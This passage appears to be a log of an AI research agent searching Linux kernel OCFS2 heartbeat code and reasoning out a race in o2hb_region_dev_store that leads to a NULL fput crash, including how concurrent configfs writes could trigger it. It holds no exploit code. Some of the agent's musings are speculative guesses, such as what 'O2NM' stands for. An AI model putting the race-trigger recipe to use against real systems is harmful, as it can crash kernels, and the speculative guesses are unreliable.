I then questioned whether `o2hb_region_dev_store` had any protective locks in place. I noted that it does acquire `spin_lock(&o2hb_live_lock)` later in its execution, but crucially, *not* at the very beginning where the potential race occurs. This is typical for configfs store functions; they often lack explicit locking against concurrent attribute writes unless the underlying subsystem implements its own synchronization.
I also briefly considered if `reg->hr_bdev_file` could be set to NULL by another function entirely, and started to check its usage points to see if that was a possibility, but the concurrent call scenario seemed the most immediate and likely culprit.
|
| 10/2 |
2026/09/04 20:36 |
tool |
codesearch-find-references |
0m
Args: map[Name:o2hb_region::hr_bdev_file]
Results: map[References:[map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:o2hb_region_block_bytes_store SourceFile:fs/ocfs2/cluster/heartbeat.c SourceLine:1586] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:o2hb_region_blocks_store SourceFile:fs/ocfs2/cluster/heartbeat.c SourceLine:1641] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:o2hb_region_dev_show SourceFile:fs/ocfs2/cluster/heartbeat.c SourceLine:1660] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:o2hb_region_dev_store SourceFile:fs/ocfs2/cluster/heartbeat.c SourceLine:1789] map[ReferenceKind:writes ReferencingEntityKind:function ReferencingEntityName:o2hb_region_dev_store SourceFile:fs/ocfs2/cluster/heartbeat.c SourceLine:1815] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:o2hb_region_dev_store SourceFile:fs/ocfs2/cluster/heartbeat.c SourceLine:1817] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:o2hb_region_dev_store SourceFile:fs/ocfs2/cluster/heartbeat.c SourceLine:1818] map[ReferenceKind:writes ReferencingEntityKind:function ReferencingEntityName:o2hb_region_dev_store SourceFile:fs/ocfs2/cluster/heartbeat.c SourceLine:1819] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:o2hb_region_dev_store SourceFile:fs/ocfs2/cluster/heartbeat.c SourceLine:1935] map[ReferenceKind:writes ReferencingEntityKind:function ReferencingEntityName:o2hb_region_dev_store SourceFile:fs/ocfs2/cluster/heartbeat.c SourceLine:1936] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:o2hb_region_release SourceFile:fs/ocfs2/cluster/heartbeat.c SourceLine:1527] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:o2hb_region_release SourceFile:fs/ocfs2/cluster/heartbeat.c SourceLine:1528] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:o2hb_region_start_block_store SourceFile:fs/ocfs2/cluster/heartbeat.c SourceLine:1615] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:reg_bdev SourceFile:fs/ocfs2/cluster/heartbeat.c SourceLine:267] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:reg_bdev SourceFile:fs/ocfs2/cluster/heartbeat.c SourceLine:267]] TruncatedOutput:false]
|
| 11/2 |
2026/09/04 20:36 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 9502
output: 43
thoughts: 13
Thoughts: **My Thought Process Regarding `o2hb_region_release`**
Alright, I need to get a handle on the `o2hb_region_release` function. My immediate instinct is to dive in and examine its mechanics. What exactly is happening when `o2hb_region_release` is called? What is its purpose, and what are the implications of its execution? I'm going to meticulously trace its logic, understand its dependencies, and identify any potential side effects or edge cases it might introduce. My goal here is to achieve a comprehensive understanding, leaving no stone unturned, so that I can confidently assess its role and impact within the broader system.
|
| 12/2 |
2026/09/04 20:37 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:fs/ocfs2/cluster/heartbeat.c Name:o2hb_region_release]
Results: map[SourceCode:1515: /* drop_item only drops its ref after killing the thread, nothing should
1516: * be using the region anymore. this has to clean up any state that
1517: * attributes might have built up.
1518: */
1519: static void o2hb_region_release(struct config_item *item)
1520: {
1521: struct o2hb_region *reg = to_o2hb_region(item);
1522:
1523: mlog(ML_HEARTBEAT, "hb region release (%pg)\n", reg_bdev(reg));
1524:
1525: o2hb_unmap_slot_data(reg);
1526:
1527: if (reg->hr_bdev_file)
1528: fput(reg->hr_bdev_file);
1529:
1530: debugfs_remove_recursive(reg->hr_debug_dir);
1531: kfree(reg->hr_db_livenodes);
1532: kfree(reg->hr_db_regnum);
1533: kfree(reg->hr_db_elapsed_time);
1534: kfree(reg->hr_db_pinned);
1535:
1536: spin_lock(&o2hb_live_lock);
1537: list_del(®->hr_all_item);
1538: spin_unlock(&o2hb_live_lock);
1539:
1540: o2net_unregister_handler_list(®->hr_handler_list);
1541: kfree(reg);
1542: }
SourceFile:fs/ocfs2/cluster/heartbeat.c]
|
| 13/2 |
2026/09/04 20:37 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 10030
output: 47
thoughts: 2113
Thoughts: **The Race Condition Leading to a NULL `fput`**
My investigation into a potential `fput(NULL)` crash has led me to identify a specific race condition within the `o2hb_region_dev_store` function. Initially, I focused on the cleanup path within the `out` label, observing that `fput(reg->hr_bdev_file)` is called, and `reg->hr_bdev_file` is subsequently set to `NULL`. This immediately suggested that if `reg->hr_bdev_file` were already `NULL` when this cleanup code is reached, we'd have a `fput(NULL)` situation.
My first hypothesis was that two threads could concurrently enter `o2hb_region_dev_store`. The critical check, `if (reg->hr_bdev_file) return -EINVAL;`, could be bypassed by both threads if they executed simultaneously. Subsequently, both threads would proceed to open the block device, assigning their respective opened files to `reg->hr_bdev_file`. If Thread 1 then failed (e.g., due to a sector size mismatch), it would jump to the `out` label, execute the cleanup, including `fput(reg->hr_bdev_file)` (which would be Thread 2's file handle) and set `reg->hr_bdev_file` to `NULL`. If Thread 2 then also failed and reached its own `out` label, it would attempt `fput(reg->hr_bdev_file)`, which would now be `NULL`, thus explaining the crash.
To confirm this, I traced the execution path of `o2hb_region_dev_store` from its beginning, specifically looking for scenarios where `reg->hr_bdev_file` could be `NULL` upon reaching the `out` label *without* a prior race. I examined each potential failure point before the `bdev_file_open_by_dev` call. If `bdev_file_open_by_dev` fails, it returns an error directly and does *not* `goto out`, so `reg->hr_bdev_file` remains `NULL` or the previous value. Crucially, if `bdev_file_open_by_dev` succeeds, `reg->hr_bdev_file` is assigned a valid file pointer and is guaranteed to be non-NULL. All subsequent potential failure points (`sectsize != reg->hr_block_bytes`, `o2hb_map_slot_data`, `o2hb_populate_slot_data`, `kthread_run`, `wait_event_interruptible`) all lead to `goto out` *after* `reg->hr_bdev_file` has been successfully opened and is non-NULL.
This thorough analysis solidified my conclusion: in a single-threaded execution, `reg->hr_bdev_file` is *never* NULL when the `goto out` is invoked. Therefore, the *only* plausible cause for `reg->hr_bdev_file` being NULL at the `out` label is if it was set to NULL by another thread. This directly points back to the cleanup code within `o2hb_region_dev_store` itself, specifically the lines `fput(reg->hr_bdev_file); reg->hr_bdev_file = NULL;`.
The way to trigger this race, as I see it, involves two threads concurrently calling `o2hb_region_dev_store` on the same heartbeat region. To ensure the race leads to the cleanup path, the `dev` attribute write needs to fail. A straightforward method to induce failure is to create a mismatch between the `block_bytes` attribute and the actual logical block size of the block device. For instance, if `reg->hr_block_bytes` is set to a value different from the device's sector size (e.g., 1024 when the device has 512-byte sectors), the check `sectsize != reg->hr_block_bytes` will fail, triggering the `goto out` path. Therefore, the scenario requires setting up a heartbeat region via configfs, writing a file descriptor of a block device to its `dev` attribute, and simultaneously, from another thread, doing the same but with a deliberately mismatched `block_bytes` value. This simultaneous, failing write to `dev` by two threads will trigger the observed race condition and the subsequent `fput(NULL)` crash.
|
| 14/2 |
2026/09/04 20:37 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:fs/ocfs2/cluster/heartbeat.c Name:o2hb_region_block_bytes_store]
Results: map[SourceCode:1577: static ssize_t o2hb_region_block_bytes_store(struct config_item *item,
1578: const char *page,
1579: size_t count)
1580: {
1581: struct o2hb_region *reg = to_o2hb_region(item);
1582: int status;
1583: unsigned long block_bytes;
1584: unsigned int block_bits;
1585:
1586: if (reg->hr_bdev_file)
1587: return -EINVAL;
1588:
1589: status = o2hb_read_block_input(reg, page, &block_bytes,
1590: &block_bits);
1591: if (status)
1592: return status;
1593:
1594: reg->hr_block_bytes = (unsigned int)block_bytes;
1595: reg->hr_block_bits = block_bits;
1596:
1597: return count;
1598: }
SourceFile:fs/ocfs2/cluster/heartbeat.c]
|
| 15/2 |
2026/09/04 20:37 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 12511
output: 45
thoughts: 27
Thoughts: **My Internal Monologue on `o2hb_read_block_input`**
Alright, so when I look at this `o2hb_read_block_input` function, my immediate hypothesis is that its primary purpose is to validate the input it receives for a "block" operation. Given the common patterns in low-level I/O or memory management contexts where such functions often reside, I'm strongly suspecting it's going to enforce two key constraints. First, I'd bet a significant amount of my intellectual capital that it's checking for the input to be a power of two. This is a ubiquitous requirement for block-based operations, think file system blocks, cache lines, or buffer sizes, because it simplifies address calculations and alignment. Second, I'm also anticipating that there will be an upper and likely a lower bound check. No operation is truly unbounded; there will be a practical limit on how large a block can be, perhaps dictated by hardware constraints, system memory availability, or even just design choices to prevent excessively large allocations. Conversely, a zero-sized block or a negative size would be nonsensical, so a minimum valid size is almost certainly being enforced as well. In essence, it's a gatekeeper, ensuring the integrity of the block size before any subsequent, potentially costly, operations are attempted.
|
| 16/2 |
2026/09/04 20:37 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:fs/ocfs2/cluster/heartbeat.c Name:o2hb_read_block_input]
Results: map[SourceCode:1544: static int o2hb_read_block_input(struct o2hb_region *reg,
1545: const char *page,
1546: unsigned long *ret_bytes,
1547: unsigned int *ret_bits)
1548: {
1549: unsigned long bytes;
1550: char *p = (char *)page;
1551: int ret;
1552:
1553: ret = kstrtoul(p, 0, &bytes);
1554: if (ret)
1555: return ret;
1556:
1557: /* Heartbeat and fs min / max block sizes are the same. */
1558: if (bytes > 4096 || bytes < 512)
1559: return -ERANGE;
1560: if (hweight16(bytes) != 1)
1561: return -EINVAL;
1562:
1563: if (ret_bytes)
1564: *ret_bytes = bytes;
1565: if (ret_bits)
1566: *ret_bits = ffs(bytes) - 1;
1567:
1568: return 0;
1569: }
SourceFile:fs/ocfs2/cluster/heartbeat.c]
|
| 17/2 |
2026/09/04 20:37 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 12952
output: 30
thoughts: 1119
Thoughts: **My Thought Process Regarding the O2HB Block Device Size Mismatch and Potential Race Condition**
My initial thought was to handle the block device size mismatch by directly checking if the requested `block_bytes` (4096) was compatible with the actual block device's sector size. If they didn't match, I considered making functions like `o2hb_map_slot_data` fail. However, I quickly realized that `o2hb_map_slot_data` involves memory allocation, which might not fail as predictably or directly as needed for this specific problem.
My next consideration was `o2hb_populate_slot_data`. This function reads from the block device, so a size mismatch *could* lead to a failure if the device is too small. Still, it felt like a less direct approach than simply checking the sizes upfront.
The most straightforward solution, in my opinion, became the direct comparison: `sectsize != reg->hr_block_bytes`. This check is performed early in the process and clearly indicates a configuration error. If this condition is true, the code correctly branches to an error handling path (`goto out`).
However, my focus then shifted to a potential race condition, particularly around the logic that triggers when `sectsize != reg->hr_block_bytes`. I began tracing the execution flow for two threads interacting with the `reg->hr_bdev_file` field.
**Tracing the Race Condition:**
Let's imagine two threads, Thread 1 and Thread 2, attempting to configure the heartbeat device.
* **Thread 1 starts:** It checks `if (reg->hr_bdev_file)`. This is `NULL` initially, so it proceeds.
* **Thread 2 starts:** It also checks `if (reg->hr_bdev_file)`. This is still `NULL`, so it proceeds as well.
* **Thread 1 continues:** It executes `reg->hr_bdev_file = bdev_file_open_by_dev(...)`, successfully opening and assigning a file descriptor for device A to `reg->hr_bdev_file`.
* **Thread 2 continues:** It *then* executes `reg->hr_bdev_file = bdev_file_open_by_dev(...)`. Crucially, this overwrites the value previously set by Thread 1, assigning a file descriptor for device B to `reg->hr_bdev_file`. At this point, device A's file descriptor is effectively leaked, but the immediate concern is the crash.
* **Thread 1 proceeds to the check:** It reaches `sectsize = bdev_logical_block_size(...)` and then `if (sectsize != reg->hr_block_bytes)`. Let's assume this condition is `TRUE` (hence the failure). It sets `ret = -EINVAL` and executes `goto out`.
* **Thread 1 at `out`:** It reaches the cleanup section. It calls `fput(reg->hr_bdev_file)`. *However*, `reg->hr_bdev_file` now points to device B's file descriptor (because Thread 2 overwrote it). So, Thread 1 performs `fput(B)`. It then sets `reg->hr_bdev_file = NULL`.
* **Thread 2 proceeds to the check:** It also reaches `sectsize = bdev_logical_block_size(...)` and then `if (sectsize != reg->hr_block_bytes)`. Assuming this is also `TRUE`, it sets `ret = -EINVAL` and executes `goto out`.
* **Thread 2 at `out`:** It reaches its cleanup section. It calls `fput(reg->hr_bdev_file)`. *Now*, `reg->hr_bdev_file` is `NULL` (because Thread 1 set it to `NULL` after its `fput`). Attempting to call `fput(NULL)` leads to a **CRASH**.
This sequence clearly illustrates a Time-Of-Check To Time-Of-Use (TOCTOU) race condition on the `reg->hr_bdev_file` pointer. While there's a resource leak of device A's descriptor, the critical issue is the null pointer dereference leading to a crash.
**Considering Stall Points and Setup:**
I considered ways to widen this race window. `userfaultfd` came to mind, but I dismissed it because there's no `copy_from_user` operation within the critical path that could be stalled. The `kstrtol` call, which parses the file descriptor from user input, happens *before* the store function is even called for the attribute, so it's not a point where I can introduce a delay.
However, the `bdev_file_open_by_dev` call itself is a potential stall point. Operations like disk I/O or acquiring locks within this function could introduce delays, making the race more likely to occur. I concluded that simply running two threads in a tight loop, attempting to write to the `dev` attribute concurrently, should be sufficient to trigger this race.
**Configuring OCFS2 Heartbeat via ConfigFS:**
Finally, I considered how one would actually set up OCFS2 heartbeat regions using configfs. My understanding is that this typically involves mounting configfs at `/sys/kernel/config`, creating a cluster entry (e.g., `/sys/kernel/config/cluster/mycluster`), and then defining heartbeat regions within that cluster (e.g., `/sys/kernel/config/cluster/mycluster/heartbeat/`). I also noted that the `ocfs2_nodemanager` module would need to be loaded to provide this configfs interface. I made a mental note to verify the exact path structure.
|
| 18/2 |
2026/09/04 20:37 |
tool |
grepper |
0m
Args: map[Expression:config_item_type.*o2hb_heartbeat_group_type]
Results: map[Output:fs/ocfs2/cluster/heartbeat.c=2223=static const struct configfs_group_operations o2hb_heartbeat_group_group_ops = {
--
fs/ocfs2/cluster/heartbeat.c-2227-
fs/ocfs2/cluster/heartbeat.c:2228:static const struct config_item_type o2hb_heartbeat_group_type = {
fs/ocfs2/cluster/heartbeat.c-2229- .ct_group_ops = &o2hb_heartbeat_group_group_ops,
]
|
| 19/2 |
2026/09/04 20:37 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 14245
output: 24
thoughts: 20
Thoughts: **My Thought Process Regarding `o2hb_heartbeat_group_type` Usage**
My primary investigative pathway right now is to determine the current operational landscape of `o2hb_heartbeat_group_type`. I need to understand precisely where and how this particular data type, or more accurately, this enumerator or constant, is being referenced and utilized within the codebase. This isn't just a matter of finding all its occurrences; it's about comprehending the *context* of each usage. I'm looking to identify:
1. **Definition and Scope:** Where is `o2hb_heartbeat_group_type` *defined*? Is it a global constant, part of a specific module's API, or perhaps an internal data structure element? Understanding its origin is crucial for grasping its intended purpose and limitations.
2. **Call Sites and Interactions:** Who is *calling* or *referencing* `o2hb_heartbeat_group_type`? I need to trace the call chains. Are these calls originating from within the `o2hb` subsystem itself, or is it being accessed by external modules? This will reveal dependencies and potential points of impact for any changes I might consider.
3. **Purpose of Usage:** *Why* is `o2hb_heartbeat_group_type` being used in each specific instance? Is it for:
* **Configuration:** Defining the type of heartbeat group a specific component belongs to?
* **State Management:** Representing the current state or type of a heartbeat group?
* **Decision Making:** Acting as a parameter in conditional logic for heartbeat group operations?
* **Serialization/Deserialization:** Part of data structures that are being persisted or transmitted?
4. **Implications of Usage:** What are the *consequences* of this usage? If `o2hb_heartbeat_group_type` is used in a critical path for cluster fencing, for instance, any modification or misunderstanding of its meaning could have severe implications for cluster stability. Conversely, if it's used in a less critical, perhaps informational, context, the tolerance for change might be higher.
5. **Potential for Refinement/Abstraction:** Based on the usage patterns, I'm also thinking about whether the current definition and usage are optimal. Is there redundancy? Could a more generalized approach be taken? Or, conversely, is this type too broad, and perhaps needs further specialization?
In essence, I'm performing a thorough audit to build a mental model of `o2hb_heartbeat_group_type`'s role in the system, which will inform any subsequent architectural decisions or refactoring efforts. It’s about understanding its *semantics* and its *impact*.
|
| 20/2 |
2026/09/04 20:37 |
tool |
grepper |
0m
Args: map[Expression:o2hb_heartbeat_group_type]
Results: map[Output:fs/ocfs2/cluster/heartbeat.c=2223=static const struct configfs_group_operations o2hb_heartbeat_group_group_ops = {
--
fs/ocfs2/cluster/heartbeat.c-2227-
fs/ocfs2/cluster/heartbeat.c:2228:static const struct config_item_type o2hb_heartbeat_group_type = {
fs/ocfs2/cluster/heartbeat.c-2229- .ct_group_ops = &o2hb_heartbeat_group_group_ops,
--
fs/ocfs2/cluster/heartbeat.c=2236=struct config_group *o2hb_alloc_hb_set(void)
--
fs/ocfs2/cluster/heartbeat.c-2245- config_group_init_type_name(&hs->hs_group, "heartbeat",
fs/ocfs2/cluster/heartbeat.c:2246: &o2hb_heartbeat_group_type);
fs/ocfs2/cluster/heartbeat.c-2247-
]
|
| 21/2 |
2026/09/04 20:37 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 14565
output: 23
thoughts: 25
Thoughts: **My Thought Process**
Ah, I see this function is named "heartbeat." That immediately makes me curious about its purpose. My first instinct is to trace its origin – I need to understand where this `o2hb_alloc_hb_set` function is actually being invoked within the system. Understanding the call site is crucial for grasping the context in which the heartbeat mechanism is being initialized or managed.
|
| 22/2 |
2026/09/04 20:37 |
tool |
grepper |
0m
Args: map[Expression:o2hb_alloc_hb_set]
Results: map[Output:fs/ocfs2/cluster/heartbeat.c=2228=static const struct config_item_type o2hb_heartbeat_group_type = {
--
fs/ocfs2/cluster/heartbeat.c-2235- * entire damn world #includes */
fs/ocfs2/cluster/heartbeat.c:2236:struct config_group *o2hb_alloc_hb_set(void)
fs/ocfs2/cluster/heartbeat.c-2237-{
--
fs/ocfs2/cluster/heartbeat.h=40=struct o2hb_callback_func {
--
fs/ocfs2/cluster/heartbeat.h-48-
fs/ocfs2/cluster/heartbeat.h:49:struct config_group *o2hb_alloc_hb_set(void);
fs/ocfs2/cluster/heartbeat.h-50-void o2hb_free_hb_set(struct config_group *group);
--
fs/ocfs2/cluster/nodemanager.c=686=static struct config_group *o2nm_cluster_group_make_group(struct config_group *group,
--
fs/ocfs2/cluster/nodemanager.c-699- ns = kzalloc_obj(struct o2nm_node_group);
fs/ocfs2/cluster/nodemanager.c:700: o2hb_group = o2hb_alloc_hb_set();
fs/ocfs2/cluster/nodemanager.c-701- if (cluster == NULL || ns == NULL || o2hb_group == NULL)
]
|
| 23/2 |
2026/09/04 20:38 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 15009
output: 25
thoughts: 36
Thoughts: **My Thought Process Regarding Cluster Group Heartbeats**
Ah, so I've just been contemplating the automatic creation of a "heartbeat" subgroup when I set up a cluster group. That's a key detail, and I want to make sure I'm fully grasping its implications. My immediate instinct is to dive into the underlying code to see exactly *how* this happens. Specifically, I'm going to examine the `o2nm_cluster_group_make_group` function. This is where the magic, or at least the programmatic instantiation, of the cluster group and its associated components, including this crucial heartbeat subgroup, must be occurring. I need to understand the exact logic within that function to confirm my understanding of the heartbeat's lifecycle and its relationship with the primary cluster group.
|
| 24/2 |
2026/09/04 20:38 |
tool |
grepper |
0m
Args: map[Expression:o2nm_cluster_group_make_group]
Results: map[Output:fs/ocfs2/cluster/nodemanager.c=678=static struct o2nm_cluster_group *to_o2nm_cluster_group(struct config_group *group)
--
fs/ocfs2/cluster/nodemanager.c-685-
fs/ocfs2/cluster/nodemanager.c:686:static struct config_group *o2nm_cluster_group_make_group(struct config_group *group,
fs/ocfs2/cluster/nodemanager.c-687- const char *name)
--
fs/ocfs2/cluster/nodemanager.c=744=static const struct configfs_group_operations o2nm_cluster_group_group_ops = {
fs/ocfs2/cluster/nodemanager.c:745: .make_group = o2nm_cluster_group_make_group,
fs/ocfs2/cluster/nodemanager.c-746- .drop_item = o2nm_cluster_group_drop_item,
]
|
| 25/2 |
2026/09/04 20:38 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 15326
output: 25
thoughts: 19
Thoughts: **My Thought Process on `o2nm_cluster_group_group_ops`**
Okay, so I'm looking at this code, and my immediate question, the one that's really buzzing in my head, is: "What exactly *is* `o2nm_cluster_group_group_ops` for?" I mean, the name itself suggests it's related to operations within a cluster group, and specifically, it seems to be a structure or a set of pointers to functions that define how these group-level operations are performed.
My intuition tells me this is going to be a crucial piece of the O2NM (presumably "Oracle Cluster Networking Option" or something similar, given the context) subsystem. When I see something like `_ops`, I immediately think of an "operations table" or a "vtable" – a common pattern in C and C++ for implementing polymorphic behavior or defining an interface. So, I'm expecting `o2nm_cluster_group_group_ops` to hold pointers to functions that handle things like:
* **Initialization/Setup:** How do we set up a cluster group initially? What resources need to be allocated or configured?
* **State Management:** How do we track the state of a cluster group? This could involve joining, leaving, status changes, etc.
* **Communication:** What are the underlying mechanisms for communication *between* nodes within a group? This might involve sending and receiving messages, heartbeats, or other coordination signals.
* **Resource Management:** If cluster groups manage specific resources (like storage, applications, or network interfaces), how are those resources managed at the group level?
* **Error Handling and Recovery:** What happens when something goes wrong within a group? How are errors detected, reported, and potentially recovered from? This is a big one for any distributed system.
* **Membership Management:** How is the membership of the group determined and maintained? Who is considered "in" the group at any given moment?
* **Lifecycle Events:** What are the key events in the lifecycle of a cluster group, and what functions are invoked when those events occur? Think about starting, stopping, and potentially migrating group responsibilities.
Given that this is likely part of a larger cluster management framework, this `_ops` structure is probably the mechanism by which the core O2NM logic delegates specific group-related tasks to specialized implementations. It's the abstraction layer that allows O2NM to manage different *types* of cluster groups or to adapt its behavior based on the configuration and capabilities of the underlying environment.
So, in essence, I'm thinking of `o2nm_cluster_group_group_ops` as the central dispatch mechanism for all the operational aspects of managing a cluster group within the O2NM framework. It's where the "how-to" for group operations is defined, allowing for a flexible and extensible design. My next step would be to dive into the definition of this structure to see exactly which function pointers are present and what their specific roles are.
|
| 26/2 |
2026/09/04 20:38 |
tool |
grepper |
0m
Args: map[Expression:o2nm_cluster_group_group_ops]
Results: map[Output:fs/ocfs2/cluster/nodemanager.c=733=static void o2nm_cluster_group_drop_item(struct config_group *group, struct config_item *item)
--
fs/ocfs2/cluster/nodemanager.c-743-
fs/ocfs2/cluster/nodemanager.c:744:static const struct configfs_group_operations o2nm_cluster_group_group_ops = {
fs/ocfs2/cluster/nodemanager.c-745- .make_group = o2nm_cluster_group_make_group,
--
fs/ocfs2/cluster/nodemanager.c=749=static const struct config_item_type o2nm_cluster_group_type = {
fs/ocfs2/cluster/nodemanager.c:750: .ct_group_ops = &o2nm_cluster_group_group_ops,
fs/ocfs2/cluster/nodemanager.c-751- .ct_owner = THIS_MODULE,
]
|
| 27/2 |
2026/09/04 20:38 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 15628
output: 23
thoughts: 13
Thoughts: **My Deep Dive into the `o2nm_cluster_group_type`:**
Okay, so my mind is clearly fixated on this `o2nm_cluster_group_type` parameter. It's not just a passing thought; I'm really trying to unpack its significance. What exactly does it represent? Is it defining the fundamental structure or classification of our cluster groups? I'm picturing it as a core identifier, perhaps dictating how these groups are organized, how they interact, or even the underlying technology that enables them. My intuition suggests it's a crucial piece of metadata, likely influencing everything from provisioning and management to performance characteristics and fault tolerance strategies within our O2NM (presumably "Observability to Network Management" or something similar, given the context) environment. I need to understand its precise definition and the implications of its various possible values. Is it a simple enum, or something more complex? Does it map directly to physical or logical constructs? This is a foundational element, and getting a firm grasp on it is paramount to understanding the broader cluster management architecture.
|
| 28/2 |
2026/09/04 20:38 |
tool |
grepper |
0m
Args: map[Expression:o2nm_cluster_group_type]
Results: map[Output:fs/ocfs2/cluster/nodemanager.c=744=static const struct configfs_group_operations o2nm_cluster_group_group_ops = {
--
fs/ocfs2/cluster/nodemanager.c-748-
fs/ocfs2/cluster/nodemanager.c:749:static const struct config_item_type o2nm_cluster_group_type = {
fs/ocfs2/cluster/nodemanager.c-750- .ct_group_ops = &o2nm_cluster_group_group_ops,
--
fs/ocfs2/cluster/nodemanager.c=754=static struct o2nm_cluster_group o2nm_cluster_group = {
--
fs/ocfs2/cluster/nodemanager.c-758- .ci_namebuf = "cluster",
fs/ocfs2/cluster/nodemanager.c:759: .ci_type = &o2nm_cluster_group_type,
fs/ocfs2/cluster/nodemanager.c-760- },
]
|
| 29/2 |
2026/09/04 20:38 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 15932
output: 21
thoughts: 29
Thoughts: **My Thought Process Regarding `o2nm_cluster_group` Registration**
Ah, so I've encountered `o2nm_cluster_group`, and my immediate thought is to ascertain its registration point within the system. My understanding is that it's being registered as a configfs subsystem. This is a crucial piece of information, as configfs represents the user-space interface for kernel configuration. Knowing this, my next logical step is to investigate *where* precisely it's being registered. This will tell me the specific path within the configfs hierarchy that I'll be interacting with, which is fundamental for both understanding its scope of control and for any subsequent manipulation or analysis I might need to perform. I need to trace the registration call, likely within the kernel source code, to pinpoint its location within the configfs tree.
|
| 30/2 |
2026/09/04 20:38 |
tool |
grepper |
0m
Args: map[Expression:o2nm_cluster_group]
Results: map[Output:fs/ocfs2/cluster/nodemanager.c=664=static const struct config_item_type o2nm_cluster_type = {
--
fs/ocfs2/cluster/nodemanager.c-671-
fs/ocfs2/cluster/nodemanager.c:672:struct o2nm_cluster_group {
fs/ocfs2/cluster/nodemanager.c-673- struct configfs_subsystem cs_subsys;
--
fs/ocfs2/cluster/nodemanager.c-677-#if 0
fs/ocfs2/cluster/nodemanager.c:678:static struct o2nm_cluster_group *to_o2nm_cluster_group(struct config_group *group)
fs/ocfs2/cluster/nodemanager.c-679-{
fs/ocfs2/cluster/nodemanager.c-680- return group ?
fs/ocfs2/cluster/nodemanager.c:681: container_of(to_configfs_subsystem(group), struct o2nm_cluster_group, cs_subsys)
fs/ocfs2/cluster/nodemanager.c-682- : NULL;
--
fs/ocfs2/cluster/nodemanager.c-685-
fs/ocfs2/cluster/nodemanager.c:686:static struct config_group *o2nm_cluster_group_make_group(struct config_group *group,
fs/ocfs2/cluster/nodemanager.c-687- const char *name)
--
fs/ocfs2/cluster/nodemanager.c-732-
fs/ocfs2/cluster/nodemanager.c:733:static void o2nm_cluster_group_drop_item(struct config_group *group, struct config_item *item)
fs/ocfs2/cluster/nodemanager.c-734-{
--
fs/ocfs2/cluster/nodemanager.c-743-
fs/ocfs2/cluster/nodemanager.c:744:static const struct configfs_group_operations o2nm_cluster_group_group_ops = {
fs/ocfs2/cluster/nodemanager.c:745: .make_group = o2nm_cluster_group_make_group,
fs/ocfs2/cluster/nodemanager.c:746: .drop_item = o2nm_cluster_group_drop_item,
fs/ocfs2/cluster/nodemanager.c-747-};
fs/ocfs2/cluster/nodemanager.c-748-
fs/ocfs2/cluster/nodemanager.c:749:static const struct config_item_type o2nm_cluster_group_type = {
fs/ocfs2/cluster/nodemanager.c:750: .ct_group_ops = &o2nm_cluster_group_group_ops,
fs/ocfs2/cluster/nodemanager.c-751- .ct_owner = THIS_MODULE,
--
fs/ocfs2/cluster/nodemanager.c-753-
fs/ocfs2/cluster/nodemanager.c:754:static struct o2nm_cluster_group o2nm_cluster_group = {
fs/ocfs2/cluster/nodemanager.c-755- .cs_subsys = {
--
fs/ocfs2/cluster/nodemanager.c-758- .ci_namebuf = "cluster",
fs/ocfs2/cluster/nodemanager.c:759: .ci_type = &o2nm_cluster_group_type,
fs/ocfs2/cluster/nodemanager.c-760- },
--
fs/ocfs2/cluster/nodemanager.c=765=static inline void o2nm_lock_subsystem(void)
fs/ocfs2/cluster/nodemanager.c-766-{
fs/ocfs2/cluster/nodemanager.c:767: mutex_lock(&o2nm_cluster_group.cs_subsys.su_mutex);
fs/ocfs2/cluster/nodemanager.c-768-}
--
fs/ocfs2/cluster/nodemanager.c=770=static inline void o2nm_unlock_subsystem(void)
fs/ocfs2/cluster/nodemanager.c-771-{
fs/ocfs2/cluster/nodemanager.c:772: mutex_unlock(&o2nm_cluster_group.cs_subsys.su_mutex);
fs/ocfs2/cluster/nodemanager.c-773-}
--
fs/ocfs2/cluster/nodemanager.c=775=int o2nm_depend_item(struct config_item *item)
fs/ocfs2/cluster/nodemanager.c-776-{
fs/ocfs2/cluster/nodemanager.c:777: return configfs_depend_item(&o2nm_cluster_group.cs_subsys, item);
fs/ocfs2/cluster/nodemanager.c-778-}
--
fs/ocfs2/cluster/nodemanager.c=815=static void __exit exit_o2nm(void)
--
fs/ocfs2/cluster/nodemanager.c-818- o2net_unregister_hb_callbacks();
fs/ocfs2/cluster/nodemanager.c:819: configfs_unregister_subsystem(&o2nm_cluster_group.cs_subsys);
fs/ocfs2/cluster/nodemanager.c-820- o2cb_sys_shutdown();
--
fs/ocfs2/cluster/nodemanager.c=826=static int __init init_o2nm(void)
--
fs/ocfs2/cluster/nodemanager.c-839-
fs/ocfs2/cluster/nodemanager.c:840: config_group_init(&o2nm_cluster_group.cs_subsys.su_group);
fs/ocfs2/cluster/nodemanager.c:841: mutex_init(&o2nm_cluster_group.cs_subsys.su_mutex);
fs/ocfs2/cluster/nodemanager.c:842: ret = configfs_register_subsystem(&o2nm_cluster_group.cs_subsys);
fs/ocfs2/cluster/nodemanager.c-843- if (ret) {
--
fs/ocfs2/cluster/nodemanager.c-851-
fs/ocfs2/cluster/nodemanager.c:852: configfs_unregister_subsystem(&o2nm_cluster_group.cs_subsys);
fs/ocfs2/cluster/nodemanager.c-853-out_callbacks:
]
|
| 31/2 |
2026/09/04 20:38 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 17690
output: 23
thoughts: 267
